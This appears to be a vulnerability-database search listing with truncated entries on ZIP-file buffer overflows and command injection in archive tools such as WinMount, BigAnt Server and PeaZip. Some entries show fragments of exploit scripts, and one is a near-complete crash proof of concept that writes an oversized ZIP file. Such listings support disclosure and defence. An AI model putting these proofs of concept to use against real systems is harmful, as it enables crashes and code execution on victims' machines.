1812 matches found
WinMount 3.3.0401 ZIP文件解析远程溢出漏洞
BUGTRAQ ID: 39557 WinMount是一款免费的Windows小工具，具有压缩、解压、浏览压缩和挂载DVD、CD、虚拟机硬盘镜像等功能。 用户受骗使用WinMount加载了带有超长文件名的zip文件就可以触发缓冲区溢出，导致执行任意代码。 WinMount 3.3.0401 厂商补丁： WinMount -------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.winmount.com/ Poc: import os sploitfile="test.zip" ldfheader...
Speed Commander 13.10 Memory Corruption
|------------------------------------------------------------------| | | | / / / / | | / / / / / / / \ / / / / \ | | / // // / / / / / // / / / / / // / // / / / / / / | | /// //,// // //,// // // | | | | http://www.corelan.be:8800 | | [email protected] | | |...
WinMount 3.3.401 - '.zip' Remote Buffer Overflow
source: https://www.securityfocus.com/bid/39557/info WinMount is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code with the privileges of the user...
eZip Wizard 3.0 - .zip File (SEH)
eZip Wizard 3.0 - .zip File SEH !/usr/bin/perl Software : eZip Wizard 3.0 .zip Author : Lincoln & corelanc0d3r Discovered by : fl0 fl0w Reference : http://www.exploit-db.com/exploits/8180 OS : Windows Tested on : XP SP3 En VirtualBox Type of vuln : SEH Greetz to : Corelan Security Team & fl0 fl0w...
Optimal Archive 1.38 Buffer Overflow
!/usr/bin/python Title: Optimal Archive 1.38 .zip 0day SEH PoC Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Found by: TecR0c Download: http://www.optimalaccess.com/oadownload.php?version=oarchive.exe Platform: Windows XP sp3 En Advisory:...
Optimal Archive 1.38 - .zip File (SEH) (PoC)
Optimal Archive 1.38 - .zip File SEH PoC !/usr/bin/python Title: Optimal Archive 1.38 .zip 0day SEH PoC Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c Found by: TecR0c Download: http://www.optimalaccess.com/oadownload.php?version=oarchive.exe Platform: Windows XP sp3 En...
KenWard's Zipper v1.400 Buffer Overflow - Method 2
Exploit for windows platform in category local exploits ================================================== KenWard's Zipper v1.400 Buffer Overflow - Method 2 ================================================== !/usr/bin/python KenWard's Zipper v1.400 File Name Buffer Overflow Coded by sinn3r...
KenWards Zipper 1.400 - Local Buffer Overflow (2)
KenWards Zipper 1.400 - Local Buffer Overflow 2 !/usr/bin/python KenWard's Zipper v1.400 File Name Buffer Overflow Coded by sinn3r x90.sinneratgmaild0tcom Tested on: Windows XP SP3 ENG Reference: http://www.exploit-db.com/exploits/11834 Big thanks to mrme, and corelanc0d3r. greetz to all the...
CVE-2009-4661
Multiple buffer overflows in BigAnt Server 2.50 SP6 and earlier allow user-assisted remote attackers to cause a denial of service application crash via a crafted ZIP file that is not properly handled when the victim uses the 1 Update or 2 Plug-In console menu item...
Buffer overflow
Multiple buffer overflows in BigAnt Server 2.50 SP6 and earlier allow user-assisted remote attackers to cause a denial of service application crash via a crafted ZIP file that is not properly handled when the victim uses the 1 Update or 2 Plug-In console menu item...
CVE-2009-4661
Multiple buffer overflows in BigAnt Server 2.50 SP6 and earlier allow user-assisted remote attackers to cause a denial of service application crash via a crafted ZIP file that is not properly handled when the victim uses the 1 Update or 2 Plug-In console menu item...
PeaZip Zip Processing Command Injection
This module exploits a command injection vulnerability in PeaZip. All versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with version 2.6.1 on Windows. In order for the command to be executed, an attacker must convince someone to open a specially crafted zip file with PeaZip,...
Safari Archive Metadata Command Execution
$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3...
Sophos Anti-Virus ZIP File Handling Denial of Service (CVE-2005-1530)
Sophos Anti-Virus AV is a product that provides virus scanning functionality for desktop and server systems. It can scan files on the local system or files downloaded from network for known viruses, Trojans, and other malicious programs. The AV product is capable of interpreting numerous...
BigAnt Server 2.50 Buffer Overflow PoC 2
!/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom. buff = "\x41" 10000 f1 = open"BigAntPlugIn.zip","w" f1.writebuff f1.close...
BigAnt Server 2.50 Buffer Overflow PoC 1
!/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Update, Add our zip, Boom. buff = "\x41" 10000 f1 = open"BigAntUpdate.zip","w" f1.writebuff f1.close...
BigAnt Server <= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2
No description provided by source. !/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom. buff = "\x41" 10000 f1 = open"BigAntPlugIn.zip","w" f1.writebuff f1.close...
BigAnt Server <= 2.50 SP6 Local (ZIP File) Buffer Overflow PoC #2
Exploit for unknown platform in category dos / poc ================================================================= BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 ================================================================= !/usr/bin/env python BigAnt Server = 2.50 SP6 Local...
BigAnt Server 2.50 SP6 - '.zip' Local Buffer Overflow (PoC) (2)
!/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom. buff = "\x41" 10000 f1 = open"BigAntPlugIn.zip","w" f1.writebuff f1.close milw0rm.com 2009-09-21...
BigAnt Server 2.50 SP6 - .zip Local Buffer Overflow (PoC) (2)
BigAnt Server 2.50 SP6 - .zip Local Buffer Overflow PoC 2 !/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom. buff = "\x41" 10000 f1 = open"BigAntPlugIn.zip","w" f1.writebuff...